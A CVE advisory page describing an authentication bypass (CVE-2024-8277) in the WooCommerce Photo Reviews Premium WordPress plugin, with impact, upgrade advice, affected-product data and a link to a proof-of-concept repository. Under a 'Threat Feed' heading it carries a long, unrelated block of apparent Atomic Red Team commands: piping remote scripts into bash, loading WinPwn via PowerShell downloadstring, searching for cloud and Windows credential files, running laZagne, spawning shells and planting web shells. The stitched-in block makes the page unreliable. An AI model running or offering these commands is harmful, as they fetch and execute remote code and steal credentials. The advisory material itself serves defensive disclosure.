CVE-2024-8277
Overview
This vulnerability is an authentication bypass in the WooCommerce Photo Reviews Premium WordPress plugin caused by improper validation of user transients within the login() function. The plugin fails to verify the authenticity of the transient data used for user identification, specifically neglecting to confirm the user's identity tied to the transient. This flaw affects all versions up to and including 1.3.13.2 of the plugin's authentication mechanism.
Vulnerability Description
The WooCommerce Photo Reviews Premium plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.3.13.2. This is due to the plugin not properly validating what user transient is being used in the login() function and not properly verifying the user's identity. This makes it possible for unauthenticated attackers to log in as user that has dismissed an admin notice in the past 30 days, which is often an administrator. Alternatively, a user can log in as any user with any transient that has a valid user_id as the value, though it would be more difficult to exploit this successfully.
Impact
An unauthenticated attacker can exploit this flaw to log in as any user with a valid transient, including administrative accounts, enabling full control over the affected WordPress site. No prior authentication or user interaction is required, and the attack can be performed remotely over the network. This leads to complete compromise of site integrity, confidentiality, and availability, as reflected by the CVSS vector indicating network attack vector, low attack complexity, no privileges required, and no user interaction needed (AV:N/AC:L/PR:N/UI:N).
Solution
Users of WooCommerce Photo Reviews Premium should upgrade to a version later than 1.3.13.2 where this authentication bypass is fixed. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a1e2d370-a716-4d6b-8e23-74db2fbd0760. No specific workaround is documented; immediate update to the patched version is recommended to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WooCommerce Photo Reviews Premium plugin for WordPress stems from a critical flaw in the authentication mechanism. Specifically, the plugin fails to properly validate the user transient utilized during the login process. This oversight allows unauthenticated attackers to bypass authentication checks, potentially logging in as users who have dismissed an admin notice within the last 30 days. Given that many users who interact with administrative notices are likely to be administrators, this creates a significant security risk. Additionally, the flaw permits attackers to log in as any user associated with a valid user_id linked to a transient, although successfully exploiting this scenario may require more effort.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could leverage social engineering techniques to identify users who have recently dismissed admin notices, thereby targeting their accounts for unauthorized access. Furthermore, if an attacker can ascertain valid user_ids and their corresponding transients, they could exploit the flaw to gain access to various user accounts, including those with elevated privileges. The potential for exploitation is exacerbated by the fact that many WordPress installations may not have robust monitoring or logging in place, making it difficult to detect unauthorized access attempts.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on the WooCommerce Photo Reviews Premium plugin for their e-commerce operations. Unauthorized access to administrative accounts can lead to a range of malicious activities, including the alteration of website content, theft of sensitive customer data, and manipulation of financial transactions. The business risk extends beyond immediate financial loss; it can also result in reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Organizations may face significant recovery costs, including incident response, forensic analysis, and remediation efforts, as well as potential fines from regulatory bodies.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted security strategy. Regularly updating the WooCommerce Photo Reviews Premium plugin to the latest version is essential, as updates often include security patches that address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious traffic and block unauthorized access attempts. Organizations should also conduct routine security audits and penetration testing to identify and remediate vulnerabilities proactively. Implementing strong user access controls and monitoring user activity can further enhance security, allowing for the detection of unusual behavior that may indicate an exploitation attempt.
In conclusion, the authentication bypass vulnerability in the WooCommerce Photo Reviews Premium plugin poses a significant threat to WordPress installations. The potential for unauthorized access to user accounts, particularly those with administrative privileges, underscores the importance of robust security practices. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Villatheme | Woocommerce Photo Reviews | All |
cpe:2.3:a:villatheme:woocommerce_photo_reviews:*:*:*:*:*:wordpress:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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PolatBey/CVE-2024-8277
CVE-2024-8277 - 0Day Auto Exploit Authentication Bypass in WooCommerce Photo Reviews Plugin
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PolatBey | 0 | 0 | 2024-09-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-8277 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/a1e2d370-a716-4d6b-8e23-74db2fbd0760?source=cve |
| codecanyon.net |
GitHub CVE
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https://codecanyon.net/item/woocommerce-photo-reviews/21245349 |